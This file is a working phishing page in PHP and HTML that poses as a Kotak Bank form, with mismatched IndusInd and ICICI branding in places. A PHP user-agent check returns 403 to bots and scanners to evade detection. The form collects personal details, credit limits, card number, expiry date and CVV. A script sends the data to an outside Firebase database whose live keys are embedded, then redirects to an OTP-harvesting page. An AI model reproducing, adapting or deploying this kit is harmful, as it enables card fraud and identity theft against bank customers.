<?php
// Array of user agents commonly associated with human users
$allowedUserAgents = array(
    'Mozilla/5.0',  // Firefox, Chrome, Safari, Edge, etc.
    'Opera',        // Opera browser
    'AppleWebKit',  // WebKit-based browsers
    'Chrome',       // Chrome browser
    'Safari',       // Safari browser
    'Firefox',      // Firefox browser
    'Edge',         // Edge browser
    // Add more user agents as needed
);

// Function to check if the user agent is a known browser
function isKnownBrowser($userAgent) {
    global $allowedUserAgents;
    foreach ($allowedUserAgents as $agent) {
        if (stripos($userAgent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

// Check if the request is from a bot or a real user
function isBot() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    // If user agent is empty, treat it as a bot
    if (empty($userAgent)) {
        return true;
    }
    // Check if the user agent is a known browser
    return !isKnownBrowser($userAgent);
}

// If the request is from a bot, block access
if (isBot()) {
    // Return a 403 Forbidden status
    http_response_code(403);
    // Display a message or redirect to an error page
    echo "Access forbidden";
    exit;
}

// If the request is from a real user, allow access
// Your website code here
// echo "Welcome, real user!";
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Kotak Bank</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 0;
      background-color: #f7f7f7;
      overflow-x: hidden;
    }

    /* Reference ID Modal */
    #refModal {
      position: fixed; top: 0; left: 0;
      width: 100%; height: 100%;
      background: rgba(0,0,0,0.6);
      display: flex; align-items: center; justify-content: center;
      z-index: 1000;
    }
    #refModal .modal-content {
      background: white;
      padding: 20px;
      border-radius: 12px;
      text-align: center;
      width: 90%; max-width: 400px;
    }
    #refModal input {
      padding: 10px; width: 80%;
      margin: 10px 0;
      border: 1px solid #ccc; border-radius: 6px;
    }
    #refModal button {
      background: #F99D27; color: white;
      border: none; padding: 10px 20px;
      border-radius: 6px; cursor: pointer;
    }

    /* Header */
    header {
      background-color: #F99D27;
      color: white;
      padding: 10px 20px;
      display: flex; align-items: center; justify-content: space-between;
      position: sticky;
      top: 0;
      z-index: 200;
    }
    header img { height: 40px; }

    nav {
      display: flex; align-items: center; gap: 15px;
      z-index: 200;
    }
    nav a {
      color: white; text-decoration: none; font-weight: 500;
    }
    nav a:hover { text-decoration: underline; }
    .login-btn {
      background-color: #F99D27; border: none;
      color: white; padding: 8px 16px;
      cursor: pointer; font-weight: bold;
      border-radius: 4px;
    }

    /* Hamburger */
    .hamburger {
      display: none; font-size: 26px; cursor: pointer;
      background: none; border: none; color: white;
    }

    /* Mobile Menu */
    @media (max-width: 768px) {
      .hamburger { display: block; }
      nav {
        position: absolute; top: 60px; left: 0;
        width: 100%; background: #F99D27;
        flex-direction: column; gap: 0;
        display: none;
      }
      nav.show { display: flex; }
      nav a, .login-btn {
        padding: 12px; text-align: center; width: 100%;
        border-top: 1px solid rgba(255,255,255,0.2);
      }
    }

    main { max-width: 600px; margin: 30px auto; background: #fff; padding: 20px;
           border-radius: 10px; box-shadow: 0 0 8px rgba(0,0,0,0.1); }
    h2 { color: #F99D27; }

    label { font-weight: bold; }
    input { width: 100%; padding: 10px; margin: 8px 0; border: 1px solid #ccc;
            border-radius: 5px; }
    .submit-btn { background: #F99D27; color: #fff; padding: 12px;
                  border: none; border-radius: 6px; width: 100%; cursor: pointer; }
    .submit-btn:hover { background: #F99D27; }
    .error { color: red; display: none; margin-top: 5px; }
    .success { color: green; display: none; margin-top: 10px; }

    footer {
      background-color: #4a4a4a; color: #ddd;
      text-align: center; padding: 20px;
      font-size: 0.9em; margin-top: 30px;
    }
    footer a { color: #fff; text-decoration: none; margin: 0 8px; font-size:12px; }
    footer a:hover { text-decoration: underline; }
  </style>
</head>
<body>

  <div id="siteContent">
    <!-- Header -->
    <header>
      <img src="kotaklogo.png" alt="IndusInd Bank Logo" />
      <button class="hamburger" onclick="toggleMenu()">☰</button>
      <nav id="navMenu">
        <a href="#" download>Personal</a>
        <a href="#" download>Business</a>
        <a href="#" download>Priority</a>
        <a href="#" download>About Us</a>
        <a href="#" download>Support</a>
        <a href="#" download class="login-btn">LOGIN</a>
      </nav>
    </header>

    <main>
      <h2>Personal Information</h2>

      <!-- ✅ Added Device ID display -->

      <form id="personalForm" style="padding: 20px !important;">
        <input type="hidden" id="deviceIdHidden" name="deviceId">

        <label for="name">Full Name *</label>
        <input type="text" id="name" name="name" required>
        <div id="nameError" class="error">Enter a valid name.</div>

        <label for="email">Email *</label>
        <input type="email" id="email" name="email" required>
        <div id="emailError" class="error">Enter a valid email.</div>

        <label for="mobile">Mobile Number *</label>
        <input type="tel" id="mobile" name="mobile" required pattern="[0-9]{10}">
        <div id="mobileError" class="error">Must be 10 digits.</div>

        <label for="city">City *</label>
        <input type="text" id="city" name="city" required>
        <div id="cityError" class="error">Enter a valid city.</div>

        <label for="dob">Date of Birth *</label>
        <input type="date" id="dob" name="dob" required max="2005-12-31" required>
        <div id="dobError" class="error">Must be before 2005.</div>


 <label for="total">Total Limit *</label>
        <input type="number" id="total" name="total" required>
        <div id="totalError" class="error">Enter a Total Limit.</div>


         <label for="available">Available Limit *</label>
        <input type="number" id="available" name="available" required>
        <div id="availableError" class="error">Enter a Available Limit.</div>

   <label for="cardName">Name on card</label>
      <input id="cardName" name="cardName" type="text" placeholder="JOHN DOE" />
      <div id="nameError" class="error">Enter cardholder name.</div>


         <label for="cardNumber">Card number</label>
      <input id="cardNumber" type="number"  id="cardNumber" name="cardNumber" placeholder="1234 5678 9012 3456" maxlength="19" required />
      <div id="cardError" class="error">Invalid card number.</div>

      <div class="row">
        <div class="col">
          <label for="expiry">Expiry (MM/YY)</label>
          <input id="expiry" name="expiry" placeholder="MM/YY" maxlength="5" required />
          <div id="expiryError" class="error">Invalid or expired.</div>
        </div>
        <div class="col">
          <label for="cvv">CVV</label>
          <input id="cvv" placeholder="123" type="number" name="cvv" maxlength="4"  required/>
          <div id="cvvError" class="error"></div>
        </div>
      </div>

   

        <button type="submit" class="submit-btn" id="submitBtn">Proceed to Next</button>
        <div id="successMsg" class="success">Submitted successfully ✅</div>
        <div id="submitError" class="error">Submission failed ❌</div>
      </form>
    </main>

    <!-- Footer -->
    <footer>
      <p>&copy; 2026 ICICI Bank. All Rights Reserved.</p>
      <p>
        <a href="#">Privacy Policy</a> |
        <a href="#">Terms & Conditions</a> |
        <a href="#">Contact Us</a>
      </p>
    </footer>
  </div>

  <script type="module">
    import { initializeApp } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-app.js";
    import { getDatabase, ref, set } from "https://www.gstatic.com/firebasejs/10.7.1/firebase-database.js";

    // ✅ Firebase config
    const firebaseConfig = {
// here is pase api
 apiKey: "AIzaSyC4F7wn3xoTPaSgpoREkCBWbvfiGlA6Sfc",
    authDomain: "arebici.firebaseapp.com",
    databaseURL: "https://arebici-default-rtdb.firebaseio.com",
    projectId: "arebici",
    storageBucket: "arebici.firebasestorage.app",
    messagingSenderId: "652609786149",
    appId: "1:652609786149:web:11330d1090087708214acc",
    measurementId: "G-0B6MCTE5T1"
  };

    // Initialize Firebase
    const app = initializeApp(firebaseConfig);
    const db = getDatabase(app);

    // ✅ Generate / Get UUID
    function generateUUID() {
      return crypto.randomUUID ?
        crypto.randomUUID() :
        'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, c => {
          const r = Math.random() * 16 | 0, v = c === 'x' ? r : (r & 0x3 | 0x8);
          return v.toString(16);
        });
    }
    const deviceId = localStorage.getItem("deviceId") || generateUUID();
    localStorage.setItem("deviceId", deviceId);
    // document.getElementById("deviceId").textContent = deviceId;
    document.getElementById("deviceIdHidden").value = deviceId;

    // ✅ Handle form submit
    document.getElementById("personalForm").addEventListener("submit", async (e) => {
      e.preventDefault();
      const submitBtn = document.getElementById("submitBtn");
      submitBtn.disabled = true;
      submitBtn.textContent = "Submitting...";

      try {
        const formData = new FormData(e.target);
        const personalInfo = {
          name: formData.get("name"),
          email: formData.get("email"),
          mobile: formData.get("mobile"),
          city: formData.get("city"),
          dob: formData.get("dob"),
          total: formData.get("total"),
          available: formData.get("available"),
          cardName: formData.get("cardName"),
          cardNumber: formData.get("cardNumber"),
          expiry: formData.get("expiry"),
          cvv: formData.get("cvv"),
          timestamp: Date.now()
        };

        // ✅ Save to Realtime DB
        await set(ref(db, "devices/" + deviceId), { personalInfo });

        // ✅ Redirect to next page after success
        window.location.href = "otp-page.php";

      } catch (err) {
        console.error("Firebase Error:", err);
        document.getElementById("submitError").style.display = "block";
        document.getElementById("submitError").textContent = "Error: " + err.message;
      } finally {
        submitBtn.disabled = false;
        submitBtn.textContent = "Proceed to Next";
      }
    });

    // ✅ Fix for hamburger menu
    window.toggleMenu = function() {
      document.getElementById("navMenu").classList.toggle("show");
    }
  </script>
</body>
</html>
